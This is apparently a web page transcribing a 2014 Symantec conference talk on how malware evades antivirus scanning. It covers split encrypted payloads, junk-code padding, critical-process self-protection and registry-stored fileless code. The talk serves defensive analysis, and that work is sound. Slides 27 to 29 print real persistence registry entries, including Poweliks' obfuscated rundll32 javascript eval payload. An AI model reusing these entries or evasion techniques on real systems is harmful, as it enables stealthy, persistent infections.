[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
 

Último

Último (20)

Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Tech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdfTech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdf
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
HTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesHTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation Strategies
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 

CODE BLUE 2014 : how to avoid the Detection by Malware by HIROSHI SNINOTSUKA

  • 1. How  malware  avoid  An/  Virus  scanning   Hiroshi  Shinotsuka   Threat  Analysis  Engineer
  • 2. Self-­‐introduc/on   Copyright  ©  2014  Symantec  Corpora;on   2   •  Threat  analysis  engineer  in  Symantec.   •  Analyze  suspicious  file  and  create  An;-­‐Virus  signature   •  Provide  detailed  technical  descrip;on  to  customers  on   demand   •  Publically  provide  malware-­‐related  informa;on  
  • 3. Copyright  ©  2014  Symantec  Corpora;on   3   24  hours  x  365  days  
  • 4. ABacker’s  techniques  to  avoid  detec/ng   1   Store  decryp;on  key  and  data  in   separate  files   2   Large  amount  of    junk  code   3   Process  protec;on   4   Store  malicious  code  outside  of  files   (fileless  malware)   Copyright  ©  2014  Symantec  Corpora;on   4  
  • 5. Trojan.Blueso  detec/on Copyright  ©  2014  Symantec  Corpora;on   5   0   5,000   10,000   15,000   20,000   25,000   30,000   35,000   Trojan.Blueso   August   September   October   November  
  • 6. Trojan.Blueso  file  structure   Copyright  ©  2014  Symantec  Corpora;on   6   RAR  self-­‐extrac/ng    file  13  MB   AutoIt     executable  file   Decryp;on  code   script  file Decryp;on  key   configura;on  file Encrypted  code AutoIt  is  a  programing  language  for  MicrosoW  Windows  plaYorm.  The  AutoIt   syntax  is  very  similar  to  that  of  BASIC  programing  language  and  is  designed  to   automate  the  Windows  GUI. RAR  self-­‐extrac;ng  file  drops  4   files,  then  it  execute  AutoIt   script  
  • 7. Decrypted   code   Bluso  inject  Backdoor.Trojan   Copyright  ©  2014  Symantec  Corpora;on   7   Code   Decryp;on  key   Encrypted  code   Legi;mate    Windows  Process   Decryp;on   Part  of   Decrypted   code   Internet  Explorer   Process   Decry pted   code   AutoIt  executable  
  • 8. Watch  Dog  monitor   Copyright  ©  2014  Symantec  Corpora;on   8   File  deleted   Process  deleted   Create  Process   Inject   Create  File   Trojan.Blueso  make  file/registry/process  again   if  An;virus  delete  it.  
  • 9. ABacker’s  techniques  to  avoid  detec/ng   1   Store  decryp;on  key  and  data  in   separate  files   2   Large  amount  of    junk  code   3   Process  protec;on   4   Store  malicious  code  outside  of  files   (fileless  malware)   Copyright  ©  2014  Symantec  Corpora;on   9  
  • 10. Tradi/onal  sample   Copyright  ©  2014  Symantec  Corpora;on   10   Packer  /  Self  update   •  Harder  to  detect  encrypted  files.   •  Tradi;onal  sample  stored  all  informa;on  in  single  file. Code   Decryp;on  key   Encrypted   code Code   Decrypted   malicious  code  
  • 11. New  technique  to  avoid  detec/on   Copyright  ©  2014  Symantec  Corpora;on   11   Tradi;onally  malware  saved  decrypted  image  to  a  file  and  executed.  An;virus   scanner  detects  malware  when  malware  saved  it  decrypted  image  onto  the   disk.   New  technique  is  to  inject  decrypted  image  to  a  new  running  process  and   executes  in  order  to  avoid  detec;on  by  file  scan.   Decrypted   malicious  code   Legi;mate    Windows  Process  Decrypt  in  memory   Decrypted   malicious  code  Code   Decryp;on  key   Encrypted  code AutoIt  executable  
  • 12. File  detail   Copyright  ©  2014  Symantec  Corpora;on   12   Code   Decryp;on  key   Encrypted  code
  • 13. An;Virus  scanner  scans  each  file.   Why  aBacker  split  malware  into  four  separate  files   Copyright  ©  2014  Symantec  Corpora;on   13   AutoIt  executable   Decryp;on  code   Decryp;on  key   Seeng  file Encrypted  code Scan   Scan   Scan   Scan  
  • 14. What  does  this  mean?   •  Hiding  malicious  code  by  encryp;ng   •  Store  code,  decryp;on  key,  encrypted  code  in  separate  files.   •  An;virus  scanner  can’t  determine  ‘encrypted  code’  as  malicious   file.   •  An;virus  scanner  can’t  detect  the  file  without  understanding   rela;onships  between  mul;ple  files.   Copyright  ©  2014  Symantec  Corpora;on   14  
  • 15. ABacker’s  techniques  to  avoid  detec/ng   1   Store  decryp;on  key  and  data  in   separate  files   2   Large  amount  of    junk  code   3   Process  protec;on   4   Store  malicious  code  outside  of  files   (fileless  malware)   Copyright  ©  2014  Symantec  Corpora;on   15  
  • 16. Code(Beginning  of  file)   Copyright  ©  2014  Symantec  Corpora;on   16   I  TAB  character  is  replaced  with  1  byte  string   You  only  see  junk  comment  lines  !  
  • 17. Code  (Sample  1)   Copyright  ©  2014  Symantec  Corpora;on   17  
  • 18. Code  (Sample  2)   Copyright  ©  2014  Symantec  Corpora;on   18  
  • 19. Code   Copyright  ©  2014  Symantec  Corpora;on   19   Finally,  at  line  23670,  16MB  in  size,  important  code  is  reached.   87476  lines  of  AutoIt  script  codes.   Only  900  lines  without  comment  lines.   Only  1%  important  codes.
  • 20. An/virus  scan  method   Copyright  ©  2014  Symantec  Corpora;on   20   •  An;virus  scanner  needs  to  have  balance  between  detec;on  and   performance   •  An;virus  scanner  first  determines  file  types  and  starts  file  scan   based  on  the  detected  file  type.   Executable  file ZIP  file JPEG  file
  • 21. No  special  file  structure  in  text  file/script  file. Copyright  ©  2014  Symantec  Corpora;on   21   Script  files  have  no  file-­‐header,  which  means  the  files  have  no  special   file  structure.   An;virus  scanner  needs  to  run  a  par;al  scan  and  determine  what  the   file  is.   Very  difficult  to  keep  scan  performance  if  malicious  script  has  so  many   comment/junk  code.
  • 22. ABacker’s  techniques  to  avoid  detec/ng   1   Store  decryp;on  key  and  data  in   separate  files   2   Large  amount  of    junk  code   3   Process  protec;on   4   Store  malicious  code  outside  of  files   (fileless  malware)   Copyright  ©  2014  Symantec  Corpora;on   22  
  • 23. How  does  Blueso  start  and  protect  itself?   Copyright  ©  2014  Symantec  Corpora;on   23   Code   Decryp;on  key   Encrypted  code Legi;mate    Windows  Process   Decryp;on   Internet  Explorer   process   Malware  !! Malware  ?? What  is  wrong  ?? AutoIt   executable  
  • 24. Process  protec/on  mechanism   Copyright  ©  2014  Symantec  Corpora;on   24   1)  Terminate  Internet  Explorer   -­‐>  Malicious  code  injected  into  Legi;mate  Windows  Process  is  executed  again   2)  Terminate  Legi;mate  Windows  Process   -­‐>  Running  script  on  AutoIt  execute  again   3)  Terminate  AutoIt  ?   -­‐>  Handle  AutoIt  executable  as  an  essen;al  process  for  Windows    system  by  using   undocumented  API  NtSetInforma;onProcess   As  soon  as  AutoIT  is  terminated,  Windows  determines  it  as  unrecoverable  cri;cal   problem.   -­‐>  Blue  Screen  Of  Death  !!  
  • 25. Blue  Screen  Of  Death   Copyright  ©  2014  Symantec  Corpora;on   25  
  • 26. ABacker’s  techniques  to  avoid  detec/ng   1   Store  decryp;on  key  and  data  in   separate  files   2   Large  amount  of    junk  code   3   Process  protec;on   4   Store  malicious  code  outside  of  files   (fileless  malware)   Copyright  ©  2014  Symantec  Corpora;on   26  
  • 27. Example  of  malware  store  code/data  in  irregular   place(Bamital)   Copyright  ©  2014  Symantec  Corpora;on   27   Set  registry  entry  to  start  a  code  when  windows  restarts.   HKEY_LOCAL_MACHINEsystemCurrentControlSetControlSession  Manager AppCertDlls"AppSecDll"  =   "%USER_Profile%Local  SeengsApplica;on  DataWindows  Serverxblscp.dll“   Because  of  analysis  already  performed,  xblscp.dll  is  determined  as  a  malicious  file.   Stricktly  speaking,  does  this  file  have  malicious  code  in  it?  
  • 28. Example  of  malware  store  code/data  in  irregular  place   (Bamital)2   Copyright  ©  2014  Symantec  Corpora;on   28   How  it  works   •  Allocate  memory   •  Store  data  from  registry  to  the  allocated  memory •  Call  the  allocated  memory An;virus  scanner  doe  not  know  data  rule.  The  data  is  wriven  in   registry.   Another  malware  uses  same  technique  by  file.
  • 29. Example  of  malware  store  code/data  in  irregular   place(Poweliks)   Copyright  ©  2014  Symantec  Corpora;on   29   Trojan.Poweliks  writes  a  Windows  Powershell  script  to  registry. You  can  find  this  registry  entry  may  execute  encrypted  java  script.   Encrypted  code  that  should  be  decrypted  in  different  registry  entry. HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{73E709EA-­‐5D93-­‐4B2E-­‐ BBB0-­‐99B7938DA9E4}LocalServer32(Default)  =   rundll32.exe  javascript:"..mshtml,RunHTMLApplica;on  ";eval("epdvnfou/xsjuf) (=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/ S~Se)(ILDS]]dmtje]]|84f81:.6e:4.5c3f.ccc1.::c8:49eb:f5~]]mpdbmYswfs43]]b(*, (=0tdsjqu?(*".replace(/./g,func;on(_){return %20String.fromCharCode(_.charCodeAt()-­‐1);}))   "a"="#@~^k4QAAA==n{F+2i@#@&l{x APzmOk7+p6(L+1O`r ?1.rwDRUtnVsE*i@#@  
  • 30. Conclusion   Copyright  ©  2014  Symantec  Corpora;on   30   •  Avackers  discover  new  techniques  every  day.   •  Avackers  employ  techniques  to  make  malware  removal  difficult   •  File  based  scanning  is  no  longer  effec;ve   •  Mul;-­‐layered  security  is  becoming  more  important  
  • 31. &  Q   A   Copyright  ©  2014  Symantec  Corpora;on   31  
  • 32. Thank  you!   Copyright  ©  2014  Symantec  Corpora/on.  All  rights  reserved.  Symantec  and  the  Symantec  Logo  are  trademarks  or  registered  trademarks  of  Symantec  Corpora;on  or  its  affiliates   in  the  U.S.  and  other  countries.    Other  names  may  be  trademarks  of  their  respec;ve  owners.   This  document  is  provided  for  informa;onal  purposes  only  and  is  not  intended  as  adver;sing.    All  warran;es  rela;ng  to  the  informa;on  in  this  document,  either  express  or   implied,  are  disclaimed  to  the  maximum  extent  allowed  by  law.    The  informa;on  in  this  document  is  subject  to  change  without  no;ce.   Hiroshi  Shinotsuka  

Notas do Editor

  1. Tip: simple SEO adjustments can make your presentation more discoverable. Read this PDF for best practices:  http://seo.ges.symantec.com/seo-best-practices-for-file-optimization.pdf
  2. AutoItのスクリプトファイル 32MB を Windows に備わっているメモ帳で読み込むには4秒かかった 例えば、ファイルをダブルクリックして実行しようとしたときに、実行までに4秒かかるとしたら、、、待てません!